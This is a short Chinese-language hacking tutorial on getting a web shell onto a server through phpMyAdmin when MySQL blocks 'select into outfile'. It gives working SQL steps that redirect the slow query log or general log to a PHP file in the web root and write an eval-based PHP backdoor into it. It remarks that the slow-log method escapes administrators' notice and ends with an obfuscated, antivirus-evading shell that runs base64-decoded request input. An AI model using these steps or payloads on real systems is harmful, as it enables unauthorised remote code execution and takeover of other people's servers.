在某些情況下,當我們進入了一個網站的phpMyAdmin時,想通過select into outfile來寫shell,但是通常都會報錯。
這是因為在mysql 5.6.34版本以后 secure_file_priv的值默認為NULL。並且無法用sql語句對其進行修改,只能夠通過以下方式修改
日志利用:
方法一:
慢查詢日志 (slow query log)
mysql也具有日志,我們也可以通過日志來getshell。
mysql日志主要包含:錯誤日志、查詢日志、慢查詢日志、事務日志,日志的詳細情況參考mysql日志詳細解析
我們主要利用慢查詢日志來寫shell,步驟大致分為三步:
1.設置slow_query_log=1.即啟用慢查詢日志(默認禁用)。
set global slow_query_log=1;
2.偽造(修改)slow_query_log_file日志文件的絕對路徑以及文件名
set global slow_query_log_file='D:/phpStudy/PHPTutorial/WWW/hacker.php'
3.向日志文件寫入shell
select '<?php eval($_POST[x]);?>' or sleep(11);
4.用菜刀連接拿到shell
Ps:
對慢查詢日志的補充:
因為是用的慢查詢日志,所以說只有當查詢語句執行的時間要超過系統默認的時間時,該語句才會被記入進慢查詢日志。
時間默認超過多少的稱為慢查詢日志?
一般都是通過long_query_time選項來設置這個時間值,時間以秒為單位,可以精確到微秒。如果查詢時間超過了這個時間值(默認為10秒),這個查詢語句將被記錄到慢查詢日志中。查看服務器默認時間值方式如下:
show global variables like '%long_query_time%'
通常情況下執行sql語句時的執行時間一般不會超過10s,所以說這個日志文件應該是比較小的,而且默認也是禁用狀態,不會引起管理員的察覺。
方法二:
一般查詢日志 (general log)
outfile被禁止,或者寫入文件被攔截
在數據庫中操作如下:(必須是root權限)
1.show variables like ‘%general%'; #查看配置
2.set global general_log = on; #開啟general log模式
3.set global general_log_file = ‘/var/www/html/1.php'; #設置日志目錄為shell地址
4.select ‘<?php eval($_POST[cmd]);?>’ #寫入shell
不成功的案例,如果mysql 被降權,是無法寫入到其他的站點目錄的,除非你的目標目錄是可以寫入的。
SQL查詢免殺shell的語句
SELECT “<?php $p = array(‘f’=>’a’,’pffff’=>’s’,’e’=>’fffff’,’lfaaaa’=>’r’,’nnnnn’=>’t’);$a = array_keys($p);$_=$p[‘pffff’].$p[‘pffff’].$a[2];$_= ‘a’.$_.’rt';$_(base64_decode($_REQUEST[‘username’]));?>”